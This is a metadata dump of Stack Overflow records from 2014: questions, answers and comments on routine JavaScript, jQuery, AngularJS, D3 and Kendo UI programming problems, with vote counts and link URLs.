has body: I Have this code in my project. I try to add data from database using $http, but ng-repeat doesn't update de table, only shows a blank row. When I check the scope, data is already there. I've read many answers but they does not seem to be related to my problem. Texto Lista Cuenta Red {{tuit.texto}} {{tuit.lista.nombre}} {{tuit.lista.cuenta.nombre}} {{tuit.lista.cuenta.red.tipo}} Controller: .controller('TweetsController', ['$scope','$http','filterFilter', function($scope,$http,filterFilter) { $scope.currentPage = 1; $scope.itemsPerPage = 10; $scope.filtrado = []; $scope.setPage = function (pageNo) { $scope.currentPage = pageNo; }; // retrieve tweets $http.get('admin/twitter').success(function(tweets) { $scope.tweets = tweets; }); $scope.saveTweet = function(isValid) { if(isValid) { var tuit = { texto: $scope.texto, lista_id: $scope.lista }; $http.post('admin/twitter', tuit).success(function(t) { $scope.tweets.push(t); }); } }; $scope.filtrar = function(filtro) { if($scope.tweets != undefined) { $scope.ufilter = filterFilter(filtro, $scope.buscar); var inicio = ($scope.currentPage - 1) * $scope.itemsPerPage; var fin = inicio + $scope.itemsPerPage; $scope.filtrado = $scope.ufilter.slice(inicio, fin); } }; $scope.$watch('tweets', function() { $scope.filtrar($scope.tweets); }); $scope.$watch('currentPage', function() { $scope.filtrar($scope.tweets); }); $scope.$watch('buscar', function() { $scope.filtrar($scope.tweets); $scope.setPage(1); }); }]) EDIT: I Solved it! The problem is the way how the retrieve data is wrapped $scope.tweets.push(t[0])
answer count: 4
type: AnsweredQuestion

http://stackoverflow.com/q/25609406
upvote count: 1
answer count: 1
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40006394
tagged with: angularjs
has title: Watcher free, bindonce like alternative for ng-repeat?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25615124
type: Question
has comment: http://stackoverflow.com/comment/40006433
tagged with: javascript
has body: Bindonce and angular-once allow for watcher-free binding on the data that is loaded only once. I was wondering why these solutions do not include an equivalent for ng-repeat. One possible use case for this would be to load a list that does not change. I figured that this should be a quite commonly required feature so it should already be implemented, but to my surprise, I couldn't find it anywhere. Is this already been done? Is there a technical limitation that I need to keep in mind if I try to do it myself? Or is this just a case of micro-optimization and not something I should waste much time on?
has comment: http://stackoverflow.com/comment/40006564
has comment: http://stackoverflow.com/comment/40006269
score: 0

http://stackoverflow.com/a/25680392
upvote count: 1
has comment: http://stackoverflow.com/comment/40140423
answers question: http://stackoverflow.com/q/25680347
has comment: http://stackoverflow.com/comment/40134994
has comment: http://stackoverflow.com/comment/40135883
has comment: http://stackoverflow.com/comment/40134669
downvote count: 0
score: 1
has body: You need to add/remove the attribute from e.target. Inside the event handler this refers the target of the handler(in this case #search-refine-bar), but since you want the actual element that was clicked you can use the target property of the event $(e.target).removeAttr('tabindex focus style') Demo: Fiddle
type: Answer

http://stackoverflow.com/a/25574383
downvote count: 0
has body: Just add this css .ui-btn-active{ border-bottom: 3px solid #c30 !important; } http://jsfiddle.net/o9foej5L/3/ You need to take help of JavaScript $(".tabBtn").on("click", function(){ $(".tabBtn").removeClass("activeWI"); $(this).addClass("activeWI"); }); Changes to your HTML Tab1 Tab3 Tab2 JS Fildle: http://jsfiddle.net/h7Lasuoh/1/
type: Answer
has comment: http://stackoverflow.com/comment/39942737
has comment: http://stackoverflow.com/comment/39942546
has comment: http://stackoverflow.com/comment/39943041
has comment: http://stackoverflow.com/comment/39942662
has comment: http://stackoverflow.com/comment/39942020
upvote count: 1
has comment: http://stackoverflow.com/comment/39942760
answers question: http://stackoverflow.com/q/25574264
score: 1
has comment: http://stackoverflow.com/comment/39942604
has comment: http://stackoverflow.com/comment/39942853
has comment: http://stackoverflow.com/comment/39941805
has comment: http://stackoverflow.com/comment/39942729

http://stackoverflow.com/a/25691426
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25691362
answers question: http://stackoverflow.com/q/25691362
upvote count: 2
type: AcceptedAnswer
has body: DEMO: Change if(test == "true") to if(test) or if(test === true) or to if(this.checked) HTML: Click Me SCRIPT: $('input[name="1"]').click( function () { var test = $(this).prop('checked'); if(test){ alert("checkbox checked"); var alert_id = $(this).val(); var key = $('#key').val(); $.ajax({ type: "POST", url: "functions/database_write.php", data: "id1="+alert_id+"&key="+key+"&test="+test, success: function(resp){ $( ".pop-div" ).slideDown(100,"linear"); setTimeout(function(){ $( ".pop-div" ).slideUp(100,"linear"); }, 1000); }, error: function(e){ alert('Error: ' + e); } }); } }); NOTE: If one of the operands is Boolean, the Boolean operand is converted to 1 if it is true and +0 if it is false. you can add console.log(test); to see the value of test. What you were doing was comparing true == "true" a boolean with a string Read Using the Equality Operators
type: Answer

http://stackoverflow.com/a/25630818
type: Answer
accepted answer of: http://stackoverflow.com/q/25630791
has comment: http://stackoverflow.com/comment/40045926
answers question: http://stackoverflow.com/q/25630791
upvote count: 3
has body: You're probably looking for something like this $('.quick-links').hover(function() { $(this).closest('.pic-options').prev('.img-thumbnail').toggleClass('quick-links-hover'); }); Targets the parent .pic-options, then the previous .thumbnail
type: AcceptedAnswer
downvote count: 0
score: 3

http://stackoverflow.com/comment/40279339
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25702176
has text: Hmmm thats strange. I know that it is possible like this `this.key` for the normal "level" object. It's also something that I would expect as a feature to be includes in the language itself. But maybe youre right. I am still learning JavaScript and it sounds like you know more than I do. I know that JS does not support encapsulation either so it could be right. I know that it will be or already is for a while in the new revision. Well thank you for your time I will leave it be for now.
score: 0

http://stackoverflow.com/a/25691373
score: 0
type: Answer
has body: I doubt whether you have written your field names and table name correctly INSERT INTO db(Titel, Componist, Link, Description) Spellings are wrong in title, and you are inserting data not into the table, you insert them into db. This is wrong. Add your table name
has comment: http://stackoverflow.com/comment/40155010
has comment: http://stackoverflow.com/comment/40154870
has comment: http://stackoverflow.com/comment/40155470
answers question: http://stackoverflow.com/q/25691079

http://stackoverflow.com/comment/40002145
comment on: http://stackoverflow.com/a/25607250
type: Comment
score: 1
type: AnswerComment
has text: +1 for the Abstract Equality Comparison Algorithm part.

http://stackoverflow.com/a/25581837
answers question: http://stackoverflow.com/q/25581817
has body: You want something like this: function fetch(array, ids) { return array.filter(function (el) {return ids.indexOf(el.id) !== -1;}); } It returns a filter version of the array containing only those IDs in the ids array. YOu can use it like so: var arr = [ {id: 'ZM', name: "Zambia"}, {id: 'MZ', name: "Mozambique"}, {id: 'BW', name: "Botswana"}, {id: 'NA', name: "Namibia"}, {id: 'MW', name: "Malawi"}, {id: 'ZW', name: "Zimbabwe"}]; function fetch(array, ids) { return array.filter(function (el) {return ids.indexOf(el.id) !== -1;}); } fetch(arr, ["BW","MW"]);//Outputs [{id: 'BW', name: "Botswana"},{id: 'MW', name: "Malawi"}]
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/39955853
score: 2
accepted answer of: http://stackoverflow.com/q/25581817
upvote count: 2

http://stackoverflow.com/q/25611869
type: Question
answer count: 2
upvote count: 0
tagged with: javascript
score: -1
has answer: http://stackoverflow.com/a/25611974
has answer: http://stackoverflow.com/a/25611972
tagged with: http://stackoverflow.com/tag/html
has title: Changing an span text
possible better answer: http://stackoverflow.com/a/25611972
has body: I'm having an weard problem with an span. I know it should work, but it doesn't... I have read answers to similar questions, but do not work with my example, so here we go: I have a SO simple html with a paragraph wich includes the span, and a button that should change the "doesn't like" for a "really like": I don't like dogs Change! And the function: function changeSpan(someText){ document.getElementById("like-or-not").innerHtml = someText; } But it doesn't work... Can you help me, please? Here ir the fiddle: http://jsfiddle.net/ey50yk6y/
favorite count: 0
accepted answer: http://stackoverflow.com/a/25611974
downvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40010175

http://stackoverflow.com/comment/40024357
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25619117
has text: please find only the relevant tooltip html. This should be from the page you can view in your browser (the rendered version of your `php` file(s)). It would be best if you use something like http://jsfiddle.net to display the html, css and js as needed

http://stackoverflow.com/comment/39927868
has text: Please explain **why** you want to do this, there is certainly a more logical solution
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25567260

http://stackoverflow.com/comment/40183622
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25706972
has text: wow, that's vry interesting. I am stuck on exactly the same issue
type: Comment

http://stackoverflow.com/q/25603768
has comment: http://stackoverflow.com/comment/39995788
has comment: http://stackoverflow.com/comment/39995842
possible better answer: http://stackoverflow.com/a/25607458
has answer: http://stackoverflow.com/a/25607458
accepted answer: http://stackoverflow.com/a/25603785
type: Question
has body: why javascript function replace wont work ? social_share: function(e){ var is_video, social_name = $(e).attr('class'), share_url = document.URL, share_title = $('title').text(), share_media, share; switch(social_name) { case 'twitter': share = 'https://twitter.com/share?url={share_url}&amp;text={share_title}'; break; case 'facebook': share = 'https://www.facebook.com/dialog/feed?app_id=123050457758183&amp;link={share_url}&amp;picture={share_media}&amp;name={share_title}'; break; case 'google': share = 'https://plus.google.com/share?url={share_url}'; break; case 'pinterest': share = 'https://pinterest.com/pin/create/bookmarklet/?media={share_media}&amp;url={share_url}&amp;is_video={is_video}&amp;description={share_title}'; break; case 'mailto': share = '...'; break; } share.replace('{share_title}', share_title) .replace('{share_url}', encodeURI(share_url)) .replace('{share_media}', encodeURI(share_media)) .replace('{is_video}', is_video); console.log(share); }, and console.log function return string share without any replaces... it would by https://twitter.com/share?url={share_url}&amp;text={share_title} if twitter , and same other's
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39995872
has title: javascript function replace wont work , why?
tagged with: replace
answer count: 2
has answer: http://stackoverflow.com/a/25603785
tagged with: javascript
score: 0

http://stackoverflow.com/q/25578370
favorite count: 0
tagged with: rethinkdb
accepted answer: http://stackoverflow.com/a/25578635
has body: I'm very confused here. I'm passing an object called ScheduleAdd, and using insertAt to enter that object into an array called 'schedules' that exists in each document in the table 'teachers'. Rethink is throwing the error "Inserted value must be an OBJECT (got ARRAY)". It shows me an array that consists of my passed object with square brackets around it. Code: var scheduleAdd = {}; scheduleAdd.schedule = name; scheduleAdd.visible = 'yes'; console.log(scheduleAdd); r.db('test').table('teachers').update(function(teacher) {return teacher('schedules').insertAt(0,scheduleAdd)}).run(connection, function(err, result) { if (err) throw err; ; console.log('updated teacher schedules'); console.log(result); }); }); As an example, I might pass the object: { schedule: 'weekend', visible: 'yes' } The console.log confirms that the object is well formed. However Rethink will then throw the error: 'Inserted value must be an OBJECT (got ARRAY):\n["{\\n \\"schedule\\": \\"weekend\\",\\n \\"visible\\": \\"yes\\"\\n}"]', Any idea why my object is being converted into an array, and how I can stop it from happening? Thanks!
score: 2
type: AnsweredQuestion
upvote count: 2
has title: how to stop rethinkdb converting object to array?
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25578635
tagged with: arrays
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/40149966
type: AnswerComment
has text: w3schools got better, but they are still partial incomplete, and still have misleading examples and descriptions. e.g. for the Date object the: `[...]Note that JavaScript Date objects can only be instantiated by calling JavaScript Date as a constructor[...]` is an important information, that is missing.
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25688806

http://stackoverflow.com/q/25675423
type: Question
tagged with: text
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40125824
has answer: http://stackoverflow.com/a/25675654
tagged with: concatenation
accepted answer: http://stackoverflow.com/a/25675654
tagged with: automation
has comment: http://stackoverflow.com/comment/40125839
upvote count: 1
downvote count: 0
answer count: 1
tagged with: javascript
has body: copy /B src\starting.js+src*.js+src\ending.js /D build\library.js here's my code. how can I copy all files but starting and ending .js into a text file between the contents of starting.js and ending.js? for example: if starting is: first if ending is: last if filler and filler 2 and filler 3 is: filler Then the output is: first filler filler filler last
favorite count: 0
has comment: http://stackoverflow.com/comment/40125870
tagged with: batch-file
has title: Copy /b all files of a type except two

http://stackoverflow.com/comment/40242327
has text: It works but can you make it so that IF I click all button than check any of selected button, it should uncheck all as well..
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25667703

http://stackoverflow.com/a/25686871
score: 0
has body: Try this, //callback handler for form submit $form.submit(function(e) { var postData = $(this).serializeArray(); var formURL = $(this).attr("action"); $.ajax( { url : formURL, type: "POST", data : postData, success:function(data, textStatus, jqXHR) { //go to success page }, error: function(jqXHR, textStatus, errorThrown) { // handle fail event your way $("#signup button").removeAttr("disabled"); } }); e.preventDefault(); //STOP default action e.unbind(); //unbind. to stop multiple form submit. });
type: Answer
answers question: http://stackoverflow.com/q/25686732

http://stackoverflow.com/comment/39920781
comment on: http://stackoverflow.com/q/25563405
score: 0
has text: sniff the user agent and move on to the next project. There is, sadly, no real future proofing unless it's plain html. and even then...
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40178310
score: 0
type: Comment
type: QuestionComment
has text: i don't have any details about your extension, but these logs will show up in the console where you run this code. for example if this code is part of a background script then you should inspect it and check the console there. the same applies for a popup.
comment on: http://stackoverflow.com/q/25704151

http://stackoverflow.com/a/25557761
has comment: http://stackoverflow.com/comment/39930708
has body: The idea of bower is that you include the entire published contents of the repository/package which is then installed by a developer through bower. You use your build system (grunt, broccoli, etc) to pick any files from that which need to be included in your own distribution. If for some reason you really only want that single file you'll just have to include it in your application manually.
downvote count: 0
score: 7
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39930770
upvote count: 7
has comment: http://stackoverflow.com/comment/39957605
accepted answer of: http://stackoverflow.com/q/25557669
type: Answer
answers question: http://stackoverflow.com/q/25557669

http://stackoverflow.com/a/25656162
type: Answer
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/25655609
accepted answer of: http://stackoverflow.com/q/25655609
has comment: http://stackoverflow.com/comment/40097355
has body: An excellent tutorial by Mike Bostock outlining one possible way of doing this can be found here: Towards Reusable Charts To try and summarize briefly, it proposes a standard way of defining reusable charts that fit nicely into the way D3 handles data and selections. First you define your chart: function reusableChart() { //variables, etc. function my() { // chart generation code } //getter-setter methods return my; } You then would instantiate this chart generator, select elements and bind data to them in the usual D3 way, and finally call the generator function: var myChart = reusableChart().setValue("example", 0); d3.tsv("1.tsv", function(error, data) { d3.select("#chart1").datum(data).call(myChart); }); //etc..
type: AcceptedAnswer
score: 4

http://stackoverflow.com/q/25552665
tagged with: javascript
type: UnansweredQuestion
tagged with: security
score: 2
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/39900649
type: Question
upvote count: 2
has title: Create hardware specific key from any web browser
has comment: http://stackoverflow.com/comment/39900671
has body: We currently have a web browser application that runs only under Internet explorer that we are trying to make cross browser. The main reason for using IE is that we can access the hardware information from an ActiveX control. We would like to get away from this methodology for obvious reasons. If we forget about the way things are currently being done and go back to the security requirements and look for other ways to accomplish the same thing. The user of the application must be on a known computer that must be in a secure location. I am at a loss on how to do this. We currently use Protect/unprotect to encrypt the data we need and guarantee that the file can only be decrypted on the same machine. This keeps the user from finding the file and copying it to another machine and running. The file is put on the computer by a separate installation process that can only be run by authorized personnel. So how do I get a machine specific key of some type that allows me to identify the computer with no chance of being replicated to another computer? ==================================== We are trying to do exactly what the web is trying to keep us from doing, so this may not be doable without specific browser extensions, such as a ActiveXControl. The USB response is interesting but it does not guarantee location. We do use USB devices for terminals that require 2 factor authentication. The other possibility is a user or machine certificate installed in the computer. The problem I see with that is the certificate can be exported. We had tried this years ago and the operational overhead was too high.
answer count: 0

http://stackoverflow.com/comment/39908478
type: Comment
has text: I guess I'd seen IIFEs before, but always thought that the extra parens were a formality. @adeneo 's link explains this well: the parens can't contain statements, so the function definition is coerced into an expression.
comment on: http://stackoverflow.com/q/25556705
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40068885
has text: A cookie will persist across page refreshes.
type: QuestionComment
comment on: http://stackoverflow.com/q/25644200
score: 0
type: Comment

http://stackoverflow.com/comment/40214724
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25694977
has text: Did you add the `data-code="trial"` and `data-code="buy"` attributes to the buttons?

http://stackoverflow.com/q/25597321
has comment: http://stackoverflow.com/comment/39983825
has comment: http://stackoverflow.com/comment/101173610
has answer: http://stackoverflow.com/a/25597610
has comment: http://stackoverflow.com/comment/39983850
tagged with: javascript
score: 4
has comment: http://stackoverflow.com/comment/39984010
has comment: http://stackoverflow.com/comment/39983865
has comment: http://stackoverflow.com/comment/39984119
has comment: http://stackoverflow.com/comment/39984478
has comment: http://stackoverflow.com/comment/39984474
linked to: http://stackoverflow.com/q/4306870
tagged with: jquery
linked to: http://stackoverflow.com/q/18663941
favorite count: 0
has comment: http://stackoverflow.com/comment/39983880
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25597350
has comment: http://stackoverflow.com/comment/40002721
has answer: http://stackoverflow.com/a/55497721
upvote count: 6
answer count: 4
has comment: http://stackoverflow.com/comment/39984500
has comment: http://stackoverflow.com/comment/39985233
has comment: http://stackoverflow.com/comment/39984359
linked to: http://stackoverflow.com/q/4800538
has title: What is the javascript equivalent to jquery closest()?
downvote count: 2
has body: I have the following code, which is written in DOM API instead of jquery. I'm not sure why. It's inside the submit function for jquery form validation. I need to change the "parentNode" part so that instead of "parent" it is "closest." I'm no good with javascript. I tried my hand at converting this to jquery, but wasn't able to get that to work. Basically, if this were jquery, I'd need to change .parent() to .closest(). var summary = ""; $.each(element, function() { summary += "&lt;li&gt;" + this.element.parentNode.getElementsByTagName('label')[0].innerHTML.replace("\&lt;span\&gt;*\&lt;\/span\&gt;","") + "&lt;/li&gt;"; }); summary = summary.replace(/\&lt;li\&gt;.+\&lt;\/li\&gt;\1/, "$1"); alert(summary); Is this possible to do with javascript? Or, is there an easy way to convert this to jquery? UPDATE: Here is a fiddle to help explain what I'm trying to accomplish. Basically, because I added a 'span' tag around one of the inputs, the 'p' tag is no longer the parent. As such, the parentNode is not finding the 'p' tag anymore. http://jsfiddle.net/9um8xt79/1/ UPDATE 2 -- THE previous fiddle link was incorrect. The link above is the right one. How can I modify to find the &lt;p&gt; tag regardless of whether it is the direct parent, or a grandparent?
type: Question
has comment: http://stackoverflow.com/comment/39984692
has comment: http://stackoverflow.com/comment/39984295
has answer: http://stackoverflow.com/a/48726873
has comment: http://stackoverflow.com/comment/39984605

http://stackoverflow.com/comment/40149202
type: Comment
type: QuestionComment
has text: Ah OK, thank you I will update. Sorry this must have been super simple
comment on: http://stackoverflow.com/q/25688548
score: 0

http://stackoverflow.com/a/25601040
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/25600854
score: 3
upvote count: 3
has body: Try something like this HTML &lt;form id="one" name="one" action="" method="post" onSubmit="chek(this);"&gt; JAVASCRIPT function chek(obj){ alert(obj.id);// will give you ID of form alert(obj.name);// will give you NAME of form } Don't forget to add name attribute to form.

http://stackoverflow.com/q/25646256
type: Question
tagged with: vimeo
tagged with: javascript
has body: What's the most convenient way to have a div with a button in the middle that covers a vimeo video? What I want is that the first frame is behind this div, when I press the "div" the video plays. And when I pause the video, the div toggles down on the video again. I'm sorry if I'm not explaining this right. What I want basically is a customized playbutton in the middle of the video. When I press it, the video starts and my playbutton fades out alongs with div... Not sure how the markup would look like, but I'm guessing something like this: Play The video-cover class covers the video, as I press play, it fades out and the video starts.
upvote count: 1
answer count: 1
has title: Image or div over vimeo video
tagged with: asp.net
favorite count: 0
has answer: http://stackoverflow.com/a/25647130
accepted answer: http://stackoverflow.com/a/25647130
tagged with: http://stackoverflow.com/tag/html
tagged with: css
type: AnsweredQuestion
downvote count: 0
score: 1

http://stackoverflow.com/a/25613945
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25613877
downvote count: 0
type: Answer
has body: Why not just place the click handler within a function, and call it initially. function bindClick() { $("a").off('click').on('click', function () { alert('Clicked.'); }); } bindClick(); Then when the condition isn't satisfied, just call the function again to rebind it. $('select').change(function () { if ($(this).val() == 'mas') { $("#lnk").off('click'); } else { bindClick(); } }); Updated Example

http://stackoverflow.com/comment/40082367
has text: @koala_dev The culprit was a `toggle()` function inside the application's Javascript file. The lesson is to search for `toggle` as well as `hide` and `display: none;`.
score: 3
type: QuestionComment
comment on: http://stackoverflow.com/q/25651199
type: Comment

http://stackoverflow.com/comment/39910255
has text: Yeah...there's not enough info to know whether that element is there or not. Nothing wrong with your answer. :) The OP seems a bit confused about what runs when, though, so i thought it worth mentioning.
comment on: http://stackoverflow.com/a/25557417
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/107626367
score: 11
type: AnswerComment
has text: Why not just set `u = 1 - Math.random()` and forget the while loop condition?
comment on: http://stackoverflow.com/a/36481059
type: Comment

http://stackoverflow.com/a/25624476
type: Answer
has comment: http://stackoverflow.com/comment/40033789
has comment: http://stackoverflow.com/comment/40034067
has comment: http://stackoverflow.com/comment/40033960
has comment: http://stackoverflow.com/comment/40034746
has comment: http://stackoverflow.com/comment/40033425
has comment: http://stackoverflow.com/comment/40034491
has comment: http://stackoverflow.com/comment/40034380
has comment: http://stackoverflow.com/comment/40033336
has comment: http://stackoverflow.com/comment/40035730
has comment: http://stackoverflow.com/comment/40034480
has comment: http://stackoverflow.com/comment/40034123
has comment: http://stackoverflow.com/comment/40037392
accepted answer of: http://stackoverflow.com/q/25624458
has comment: http://stackoverflow.com/comment/40034281
answers question: http://stackoverflow.com/q/25624458
has comment: http://stackoverflow.com/comment/40034157
has comment: http://stackoverflow.com/comment/40034216
has comment: http://stackoverflow.com/comment/40034220
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40033491
has comment: http://stackoverflow.com/comment/40033407
has comment: http://stackoverflow.com/comment/40033897
has body: Your both assumptions are wrong. 1) No one can disable browser back button (of course excluding the vendors :)). 2) Java plays on server side. Javascript plays on client side. You might want browser onunload function to prompt user. @Derek did a demo for what I mean : http://jsfiddle.net/DerekL/LZCj7/show/
upvote count: 8
downvote count: 2
score: 6

http://stackoverflow.com/q/25563423
answer count: 1
downvote count: 0
tagged with: jquery
has comment: http://stackoverflow.com/comment/39921088
favorite count: 0
type: UnansweredQuestion
tagged with: flexslider
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39920698
score: 1
has title: FlexSlider does not work - "Uncaught TypeError: undefined is not a function" (Typo3)
has comment: http://stackoverflow.com/comment/39921695
has comment: http://stackoverflow.com/comment/39920696
upvote count: 1
has body: I'm trying to use the FlexSlider extension (1.50) on my Typo3 script. FlexSlider needs jQuery, so I added it by the extension T3 jQuery. Unfortunately the FlexSlider does not work. I get the following error: "Uncaught TypeError: undefined is not a function". It refers to the second line of this code block: &lt;script type="text/javascript"&gt; $(window).load(function() { $('#fs-182.flexslider').flexslider( { animation: "fade", slideDirection: "horizontal", slideshow: false, slideshowSpeed: 7000, animationDuration: 600, controlNav: true, directionNav: false, keyboardNav: false, mousewheel: false, prevText: "Previous", nextText: "Next", pausePlay: false, pauseText: "Pause", playText: "Play", randomize: false, animationLoop: true, pauseOnHover: false }); }); &lt;/script&gt; Does anyone has an idea how to solve this problem? Edit: jQuery is added two times to the file. In the header and in the body. I think the one in the header is added by T3 jQuery - it's the same version I choosed in the properties of T3 jQuery (2.1.0). The one in the body is an older version (1.10.2).
has comment: http://stackoverflow.com/comment/39921259
type: Question
has answer: http://stackoverflow.com/a/25564230
has comment: http://stackoverflow.com/comment/39920886
tagged with: javascript
linked to: http://stackoverflow.com/q/3551767
tagged with: typo3

http://stackoverflow.com/q/25554483
tagged with: javascript
has answer: http://stackoverflow.com/a/25555915
tagged with: jquery
has body: I have create a simple grid here and I want to recalculate the sum of a column when the grid is filtered locally. I do not want to have calculated column or template since I want to update a label and as well I have to do some other actions in the page when grid is filtered locally. var data = [ { item: "item1", weight: 15 }, { item: "item2", weight: 22 }, { item: "item3", weight: 43 }, { item: "item4", weight: 37 }, { item: "item5", weight: 33 } ]; $("#grid").kendoGrid({ columns: [ { field: "item" }, { field: "weight" } ], filterable: true, sortable: true, pageable: true, resizable:true, selectable: "row", columnMenu: true, dataSource:data , change: function(e) { var grid = e.sender; var selected = grid.dataItem(this.select()); alert(selected.item); getSum(); } }); getSum(); function getSum() { var grid = $("#grid").data("kendoGrid"); var data = grid.dataSource.data(); var sum = 0; for ( var i = 0; i&lt;= (data.length-1);i++) { sum = sum + data[i].weight; } $("#weight-label").text(sum); } http://jsfiddle.net/KendoDev/gb3qzgm2/ How to get the event handler when grid is filtered in client side?
favorite count: 0
tagged with: kendo-ui
has answer: http://stackoverflow.com/a/25555708
possible better answer: http://stackoverflow.com/a/25555915
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
accepted answer: http://stackoverflow.com/a/25555708
type: Question
type: AnsweredQuestion
has title: How to get the event handler when grid is filtered in client side in Kendo grid?
score: -1
tagged with: kendo-grid
answer count: 2
upvote count: 0
has comment: http://stackoverflow.com/comment/39905025

http://stackoverflow.com/q/25630200
has comment: http://stackoverflow.com/comment/40044169
tagged with: jquery
has comment: http://stackoverflow.com/comment/40044860
accepted answer: http://stackoverflow.com/a/25630522
possible better answer: http://stackoverflow.com/a/25630423
has answer: http://stackoverflow.com/a/25630423
type: AnsweredQuestion
has title: Updating two dynamic text fields simultaneously
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25630522
has comment: http://stackoverflow.com/comment/40044309
has body: See below code. I am creating 2 text fields at a time. Now how could I type on one text field and make the other twin text field have the same values simultaneously? Add text
score: 0
answer count: 2

http://stackoverflow.com/a/25601231
accepted answer of: http://stackoverflow.com/q/25600000
score: 0
type: AcceptedAnswer
type: Answer
has body: it does not work this way because when you get key like this 'attrs.setModel' it take whole string which means it takes data.details[0] you either resolve this with another javascript code just simply using scope attribute of directive like this app.directive('setModel', function() { return { restrict: 'EA', scope: {model : '=setModel'}, link: function(scope, element, attrs) { // var pair = JSON.parse(attrs) scope.model = element.html(); console.log(scope); } }; }) right now your directive take parent scope object instead of string so any value change on this affect parent scope object as well... here is working PLUNKER...
answers question: http://stackoverflow.com/q/25600000

http://stackoverflow.com/a/25688574
type: AcceptedAnswer
score: 0
answers question: http://stackoverflow.com/q/25687865
has body: Following my discovery (see This Might Help) I suddenly got very close to the solution! As an entire chunk of data was being removed from $scope.grids I now knew I could narrow that chunk down to the contenteditable element and corresponding chunk of data in the 'store'. Changing the ng-template attribute to grid.sets[$index] did just that. It turns out the element was being removed from the DOM because I was missing parenthesis here: scope.$apply(function () { // ngModel.$setViewValue(element.html); ngModel.$setViewValue(element.html()); }); That was just carelessness. The contenteditable element was losing focus after each round-trip so I changed the event to fire on blur instead. Problem, solved :-) I hope this has helped, Jon
type: Answer
accepted answer of: http://stackoverflow.com/q/25687865

cryptography
tags question: http://stackoverflow.com/q/25673005
tag name: cryptography
type: Tag
tags question: http://stackoverflow.com/q/25615187
tags question: http://stackoverflow.com/q/25710552

http://stackoverflow.com/comment/39975067
comment on: http://stackoverflow.com/a/25592515
has text: just tried what you suggested there but the error still remains i'm afraid
type: AnswerComment
type: Comment
score: 1

http://stackoverflow.com/comment/40094523
type: AnswerComment
has text: Change this <% @ pit.each do |pit| %> to this <% @ pit.each do |pits| %>? Or change something like <%= pit.name %> to this <%= pits.name %>? Sorry, I'm still trying to get all the syntax down here. I get the concept but implementing it correctly is my weak point here I think.
type: Comment
comment on: http://stackoverflow.com/a/25654521
score: 0

http://stackoverflow.com/comment/40045706
has text: Sweet! I'll review this soon and award you the bounty. In the meantime, if you'd consider submitting a PR to dc.js, I'd appreciate it! It might take me a while to merge it (as there are some related changes, discussion linked above), but if you make a PR then it's easy for people to find it and try it out now.
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25617950

http://stackoverflow.com/a/25647074
has comment: http://stackoverflow.com/comment/40075574
has comment: http://stackoverflow.com/comment/40075831
score: 0
has body: I tried encapsulating the code in a try{}catch(){} block, but to no avail. What ended up working was moving the code that was breaking into an asynchronous code block with a window.setTimeout call with a time delay of zero, like so: $.when(defObj).done(function(){ console.log('callback 1'); }); $.when(defObj).done(function(){ window.setTimeout(function(){console.log('callback 2'); }, 0); }); $.when(defObj).done(function(){ console.log('callback 3'); }); This takes the code that was causing the problem out of the flow of the rest of the page, which stops it from blocking the execution. I still have no idea what is causing firefox to stop code execution, but this is a decent way around it.
type: Answer
answers question: http://stackoverflow.com/q/25633909
has comment: http://stackoverflow.com/comment/40075156
has comment: http://stackoverflow.com/comment/40075587

http://stackoverflow.com/comment/39948000
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25577402
has text: I think this question is duplicate of [http://stackoverflow.com/questions/4121963/jquery-autocomplete-can-i-have-the-previous-ajax-calling-stopped-when-i-raise-a](http://stackoverflow.com/questions/4121963/jquery-autocomplete-can-i-have-the-previous-ajax-calling-stopped-when-i-raise-a)

http://stackoverflow.com/a/25630636
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25627282
has body: Ok so the solution to this issue has nothing to do with any programming. For the iframes, this way a strange google chrome issue, luckily it doesn't affect the visuals as nothing displays. As far as the ajax problem, I was doing it right (tested on a different computer) but the Apache2 server was not responding to ajax requests. It is gonna take some time searching through log files to find a proper solution.

http://stackoverflow.com/a/25664061
has comment: http://stackoverflow.com/comment/40104889
answers question: http://stackoverflow.com/q/25640138
has comment: http://stackoverflow.com/comment/40104942
score: 0
has body: don't use ng-app and angular.bootstrap all together at once. did you compile "ng-app", if so don't. ngtutorial.com/learn/bootstrap
has comment: http://stackoverflow.com/comment/40105561
has comment: http://stackoverflow.com/comment/40105135
has comment: http://stackoverflow.com/comment/40105744
has comment: http://stackoverflow.com/comment/40106113
type: Answer

http://stackoverflow.com/q/25559652
has comment: http://stackoverflow.com/comment/39913927
type: Question
has answer: http://stackoverflow.com/a/25559956
score: 5
has comment: http://stackoverflow.com/comment/39913935
tagged with: javascript
has comment: http://stackoverflow.com/comment/39913948
